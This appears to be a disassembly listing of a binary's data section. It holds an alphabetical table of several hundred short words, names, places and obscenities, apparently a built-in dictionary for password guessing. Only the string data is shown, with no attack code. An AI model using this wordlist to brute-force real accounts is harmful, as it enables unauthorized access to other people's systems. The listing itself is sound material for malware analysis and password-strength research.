aHorrible	db 'horrible',0         ; DATA XREF: ___:00430394o
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:00430390o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:0043038Co
aHooker		db 'hooker',0           ; DATA XREF: ___:00430388o
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00430384o
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:00430380o
		align 4
aHomer		db 'homer',0            ; DATA XREF: ___:0043037Co
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: ___:00430378o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00430374o
		align 4
aHolly		db 'holly',0            ; DATA XREF: ___:00430370o
		align 10h
aHole		db 'hole',0             ; DATA XREF: ___:0043036Co
		align 4
aHits		db 'hits',0             ; DATA XREF: ___:00430368o
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: ___:00430364o
		align 4
aHighland	db 'highland',0         ; DATA XREF: ___:00430360o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:0043035Co
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:00430358o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00430354o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00430350o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:0043034Co
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: ___:00430348o
aHeroin		db 'heroin',0           ; DATA XREF: ___:00430344o
		align 4
aHero		db 'hero',0             ; DATA XREF: ___:00430340o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: ___:0043033Co
aHerb		db 'herb',0             ; DATA XREF: ___:00430338o
		align 10h
aHelp		db 'help',0             ; DATA XREF: ___:00430334o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00430330o
		align 10h
aHell		db 'hell',0             ; DATA XREF: ___:0043032Co
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:00430328o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00430324o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00430320o
		align 4
aHeather	db 'heather',0          ; DATA XREF: ___:0043031Co
aHeathen	db 'heathen',0          ; DATA XREF: ___:00430318o
aHeat		db 'heat',0             ; DATA XREF: ___:00430314o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00430310o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:0043030Co
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:00430308o
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:00430304o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00430300o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:004302FCo
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:004302F8o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:004302F4o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:004302F0o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: ___:004302ECo
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:004302E8o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:004302E4o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: ___:004302E0o
aHandily	db 'handily',0          ; DATA XREF: ___:004302DCo
aHandel		db 'handel',0           ; DATA XREF: ___:004302D8o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: ___:004302D4o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:004302D0o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: ___:004302CCo
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:004302C8o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:004302C4o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:004302C0o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:004302BCo
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:004302B8o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:004302B4o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: ___:004302B0o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: ___:004302ACo
		align 4
aGucci		db 'gucci',0            ; DATA XREF: ___:004302A8o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: ___:004302A4o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:004302A0o
aGroup		db 'group',0            ; DATA XREF: ___:0043029Co
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:00430298o
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00430294o
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:00430290o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:0043028Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: ___:00430288o
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00430284o
		align 4
aGrades		db 'grades',0           ; DATA XREF: ___:00430280o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:0043027Co
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: ___:00430278o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: ___:00430274o
aGorges		db 'gorges',0           ; DATA XREF: ___:00430270o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:0043026Co
		align 4
aGood		db 'good',0             ; DATA XREF: ___:00430268o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: ___:00430264o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00430260o
		align 4
aGolden		db 'golden',0           ; DATA XREF: ___:0043025Co
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:00430258o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: ___:00430254o
aGirl		db 'girl',0             ; DATA XREF: ___:00430250o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: ___:0043024Co
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:00430248o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00430244o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: ___:00430240o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: ___:0043023Co
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: ___:00430238o
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00430234o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:00430230o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:0043022Co
		align 4
aGatt		db 'gatt',0             ; DATA XREF: ___:00430228o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00430224o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: ___:00430220o
aGarfield	db 'garfield',0         ; DATA XREF: ___:0043021Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:00430218o
aGames		db 'games',0            ; DATA XREF: ___:00430214o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00430210o
aFungible	db 'fungible',0         ; DATA XREF: ___:0043020Co
		align 4
aFunction	db 'function',0         ; DATA XREF: ___:00430208o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00430204o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00430200o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:004301FCo
		align 4
aFucking	db 'fucking',0          ; DATA XREF: ___:004301F8o
aFucker		db 'fucker',0           ; DATA XREF: ___:004301F4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:004301F0o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:004301ECo
		align 4
aFrog		db 'frog',0             ; DATA XREF: ___:004301E8o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:004301E4o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: ___:004301E0o
aFriend		db 'friend',0           ; DATA XREF: ___:004301DCo
		align 10h
aFriday		db 'friday',0           ; DATA XREF: ___:004301D8o
		align 4
aFrench		db 'french',0           ; DATA XREF: ___:004301D4o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: ___:004301D0o
aFree		db 'free',0             ; DATA XREF: ___:004301CCo
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004301C8o
		align 4
aFreak		db 'freak',0            ; DATA XREF: ___:004301C4o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: ___:004301C0o
		align 4
aFrance		db 'france',0           ; DATA XREF: ___:004301BCo
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:004301B8o
aFourier	db 'fourier',0          ; DATA XREF: ___:004301B4o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:004301B0o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: ___:004301ACo
		align 4
aFormat		db 'format',0           ; DATA XREF: ___:004301A8o
		align 10h
aForm		db 'form',0             ; DATA XREF: ___:004301A4o
		align 4
aForever	db 'forever',0          ; DATA XREF: ___:004301A0o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:0043019Co
		align 4
aFord		db 'ford',0             ; DATA XREF: ___:00430198o
		align 4
aForce		db 'force',0            ; DATA XREF: ___:00430194o
		align 4
aFootball	db 'football',0         ; DATA XREF: ___:00430190o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:0043018Co
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:00430188o
		align 4
aFood		db 'food',0             ; DATA XREF: ___:00430184o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:00430180o
aFlower		db 'flower',0           ; DATA XREF: ___:0043017Co
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:00430178o
aFloat		db 'float',0            ; DATA XREF: ___:00430174o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:00430170o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: ___:0043016Co
aFirewall	db 'firewall',0         ; DATA XREF: ___:00430168o
		align 10h
aFire		db 'fire',0             ; DATA XREF: ___:00430164o
		align 4
aFinite		db 'finite',0           ; DATA XREF: ___:00430160o
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: ___:00430158o
		align 10h
aField		db 'field',0            ; DATA XREF: ___:00430154o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: ___:00430150o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:0043014Co
aFermat		db 'fermat',0           ; DATA XREF: ___:00430148o
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:00430144o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: ___:00430140o
aFeds		db 'feds',0             ; DATA XREF: ___:0043013Co
		align 4
aFear		db 'fear',0             ; DATA XREF: ___:00430138o
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:00430134o
		align 4
aFart		db 'fart',0             ; DATA XREF: ___:00430130o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:0043012Co
aFarad		db 'farad',0            ; DATA XREF: ___:00430128o
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:00430124o
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:00430120o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:0043011Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: ___:00430118o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:00430114o
aExtensio	db 'extensio',0         ; DATA XREF: ___:00430110o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:0043010Co
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:00430108o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: ___:00430104o
aExplode	db 'explode',0          ; DATA XREF: ___:00430100o
aExpert		db 'expert',0           ; DATA XREF: ___:004300FCo
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:004300F8o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: ___:004300F4o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: ___:004300F0o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:004300ECo
		align 4
aEstablis	db 'establis',0         ; DATA XREF: ___:004300E8o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: ___:004300E4o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: ___:004300E0o
		align 4
aErin		db 'erin',0             ; DATA XREF: ___:004300DCo
		align 10h
aErika		db 'erika',0            ; DATA XREF: ___:004300D8o
		align 4
aErica		db 'erica',0            ; DATA XREF: ___:004300D4o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004300D0o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: ___:004300CCo
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:004300C8o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:004300C4o
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:004300C0o
		align 4
aEnglish	db 'english',0          ; DATA XREF: ___:004300BCo
aEngland	db 'england',0          ; DATA XREF: ___:004300B8o
aEngineer	db 'engineer',0         ; DATA XREF: ___:004300B4o
		align 4
aEngine		db 'engine',0           ; DATA XREF: ___:004300B0o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: ___:004300ACo
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:004300A8o
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:004300A4o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: ___:004300A0o
aEmail		db 'email',0            ; DATA XREF: ___:0043009Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: ___:00430098o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:00430094o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: ___:00430090o
		align 4
aElectron	db 'electron',0         ; DATA XREF: ___:0043008Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: ___:00430088o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: ___:00430084o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: ___:00430080o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:0043007Co
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: ___:00430078o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:00430074o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:00430070o
aEdwina		db 'edwina',0           ; DATA XREF: ___:0043006Co
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:00430068o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: ___:00430064o
		align 4
aEducation	db 'education',0        ; DATA XREF: ___:00430060o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:off_43005Co
aEdit		db 'edit',0             ; DATA XREF: ___:00430058o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00430054o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: ___:off_430050o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: ___:0043004Co
		align 10h
aEcho		db 'echo',0             ; DATA XREF: ___:00430048o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: ___:00430044o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: ___:00430040o
		align 4
aEasier		db 'easier',0           ; DATA XREF: ___:0043003Co
		align 10h
aEarth		db 'earth',0            ; DATA XREF: ___:00430038o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: ___:00430034o
		align 10h
aEager		db 'eager',0            ; DATA XREF: ___:00430030o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: ___:0043002Co
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: ___:00430028o
aDuncan		db 'duncan',0           ; DATA XREF: ___:00430024o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: ___:00430020o
		align 4
aDuke		db 'duke',0             ; DATA XREF: ___:0043001Co
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: ___:00430018o
aDude		db 'dude',0             ; DATA XREF: ___:00430014o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: ___:00430010o
		align 4
aDrought	db 'drought',0          ; DATA XREF: ___:0043000Co
aDrive		db 'drive',0            ; DATA XREF: ___:00430008o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00430004o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: ___:00430000o
		align 4
aDownload	db 'download',0         ; DATA XREF: ___:0042FFFCo
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042FFF8o
		align 4
aDoors		db 'doors',0            ; DATA XREF: ___:0042FFF4o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042FFF0o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042FFECo
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042FFE8o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042FFE4o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042FFE0o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042FFDCo
		align 4
aDong		db 'dong',0             ; DATA XREF: ___:0042FFD8o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042FFD4o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042FFD0o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042FFCCo
aDisney		db 'disney',0           ; DATA XREF: ___:0042FFC8o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042FFC4o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042FFC0o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: ___:0042FFBCo
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042FFB8o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042FFB4o
		align 4
aDisc		db 'disc',0             ; DATA XREF: ___:0042FFB0o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042FFACo
		align 4
aDirector	db 'director',0         ; DATA XREF: ___:0042FFA8o
		align 4
aDirect		db 'direct',0           ; DATA XREF: ___:0042FFA4o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042FFA0o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042FF9Co
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042FF98o
aDieter		db 'dieter',0           ; DATA XREF: ___:0042FF94o
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042FF90o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042FF8Co
aDick		db 'dick',0             ; DATA XREF: ___:0042FF88o
		align 4
aDice		db 'dice',0             ; DATA XREF: ___:0042FF84o
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042FF80o
		align 4
aDiana		db 'diana',0            ; DATA XREF: ___:0042FF7Co
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042FF78o
aDial		db 'dial',0             ; DATA XREF: ___:0042FF74o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042FF70o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: ___:0042FF6Co
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042FF68o
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042FF64o
aDesk		db 'desk',0             ; DATA XREF: ___:0042FF60o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042FF5Co
aDennis		db 'dennis',0           ; DATA XREF: ___:0042FF58o
		align 10h
aDenise		db 'denise',0           ; DATA XREF: ___:0042FF54o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042FF50o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042FF4Co
		align 4
aDelta		db 'delta',0            ; DATA XREF: ___:0042FF48o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042FF44o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042FF40o
aDeck		db 'deck',0             ; DATA XREF: ___:0042FF38o
		align 4
aDecember	db 'december',0         ; DATA XREF: ___:0042FF34o
		align 4
aDebug		db 'debug',0            ; DATA XREF: ___:0042FF30o
		align 10h
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042FF2Co
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042FF28o
		align 10h
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042FF24o
		align 4
aDead		db 'dead',0             ; DATA XREF: ___:0042FF20o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042FF1Co
		align 4
aDave		db 'dave',0             ; DATA XREF: ___:0042FF18o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042FF14o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042FF10o
		align 4
aDark		db 'dark',0             ; DATA XREF: ___:0042FF0Co
		align 10h
aDapper		db 'dapper',0           ; DATA XREF: ___:0042FF08o
		align 4
aDanny		db 'danny',0            ; DATA XREF: ___:0042FF04o
		align 10h
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042FF00o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042FEFCo
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042FEF8o
		align 4
aDana		db 'dana',0             ; DATA XREF: ___:0042FEF4o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042FEF0o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042FEECo
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042FEE8o
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042FEE4o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042FEE0o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042FEDCo
		align 4
aCustomer	db 'customer',0         ; DATA XREF: ___:0042FED8o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: ___:0042FED4o
		align 10h
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042FED0o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042FECCo
aCristina	db 'cristina',0         ; DATA XREF: ___:0042FEC8o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042FEC4o
		align 4
aCrime		db 'crime',0            ; DATA XREF: ___:0042FEC0o
		align 10h
aCretin		db 'cretin',0           ; DATA XREF: ___:0042FEBCo
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042FEB8o
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042FEB4o
		align 4
aCreature	db 'creature',0         ; DATA XREF: ___:0042FEB0o
		align 4
aCreation	db 'creation',0         ; DATA XREF: ___:0042FEACo
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042FEA8o
		align 4
aCream		db 'cream',0            ; DATA XREF: ___:0042FEA4o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042FEA0o
		align 10h
aCrack		db 'crack',0            ; DATA XREF: ___:0042FE9Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042FE98o
		align 10h
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042FE94o
		align 4
aCountry	db 'country',0          ; DATA XREF: ___:0042FE90o
aCounters	db 'counters',0         ; DATA XREF: ___:0042FE8Co
		align 10h
aCorrect	db 'correct',0          ; DATA XREF: ___:0042FE88o
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042FE84o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042FE80o
		align 4
aCops		db 'cops',0             ; DATA XREF: ___:0042FE7Co
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042FE78o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: ___:0042FE74o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: ___:0042FE70o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: ___:0042FE6Co
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042FE68o
		align 10h
aCook		db 'cook',0             ; DATA XREF: ___:0042FE64o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; ___:0042FE60o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042FE5Co
aConserva	db 'conserva',0         ; DATA XREF: ___:0042FE58o
		align 4
aConnie		db 'connie',0           ; DATA XREF: ___:0042FE54o
		align 10h
aCondom		db 'condom',0           ; DATA XREF: ___:0042FE4Co
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:0042FE48o
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: ___:0042FE44o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: ___:0042FE40o
aComputin	db 'computin',0         ; DATA XREF: ___:0042FE3Co
		align 10h
aCompany	db 'company',0          ; DATA XREF: ___:0042FE38o
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042FE34o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042FE30o
		align 4
aComics		db 'comics',0           ; DATA XREF: ___:0042FE2Co
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042FE28o
		align 4
aColor		db 'color',0            ; DATA XREF: ___:0042FE24o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042FE20o
aCold		db 'cold',0             ; DATA XREF: ___:0042FE1Co
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042FE18o
		align 4
aCoke		db 'coke',0             ; DATA XREF: ___:0042FE14o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042FE10o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042FE0Co
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042FE08o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: ___:0042FE04o
		align 4
aCode		db 'code',0             ; DATA XREF: ___:0042FE00o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042FDFCo
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042FDF8o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042FDF4o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042FDF0o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: ___:0042FDECo
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042FDE8o
aClinton	db 'clinton',0          ; DATA XREF: ___:0042FDE4o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042FDE0o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042FDDCo
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042FDD8o
aClassic	db 'classic',0          ; DATA XREF: ___:0042FDD4o
aClasses	db 'classes',0          ; DATA XREF: ___:0042FDD0o
aClass		db 'class',0            ; DATA XREF: ___:0042FDCCo
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: ___:0042FDC8o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042FDC4o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042FDC0o
		align 4
aChristy	db 'christy',0          ; DATA XREF: ___:0042FDBCo
aChristin	db 'christin',0         ; DATA XREF: ___:0042FDB8o
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:0042FDB4o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:0042FDB0o
		align 10h
aChester	db 'chester',0          ; DATA XREF: ___:0042FDACo
aChess		db 'chess',0            ; DATA XREF: ___:0042FDA8o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042FDA4o
		align 4
aChem		db 'chem',0             ; DATA XREF: ___:0042FDA0o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042FD9Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: ___:0042FD98o
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042FD94o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042FD90o
aCharles	db 'charles',0          ; DATA XREF: ___:0042FD8Co
aCharity	db 'charity',0          ; DATA XREF: ___:0042FD88o
aChange		db 'change',0           ; DATA XREF: ___:0042FD84o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042FD80o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042FD7Co
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042FD78o
		align 4
aCelt		db 'celt',0             ; DATA XREF: ___:0042FD74o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042FD70o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042FD6Co
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042FD68o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: ___:0042FD64o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042FD60o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042FD5Co
		align 4
aCastle		db 'castle',0           ; DATA XREF: ___:0042FD58o
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042FD54o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: ___:0042FD50o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:0042FD4Co
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042FD48o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042FD44o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042FD40o
		align 10h
aCarole		db 'carole',0           ; DATA XREF: ___:0042FD3Co
		align 4
aCarol		db 'carol',0            ; DATA XREF: ___:0042FD38o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042FD34o
		align 4
aCarla		db 'carla',0            ; DATA XREF: ___:0042FD30o
		align 10h
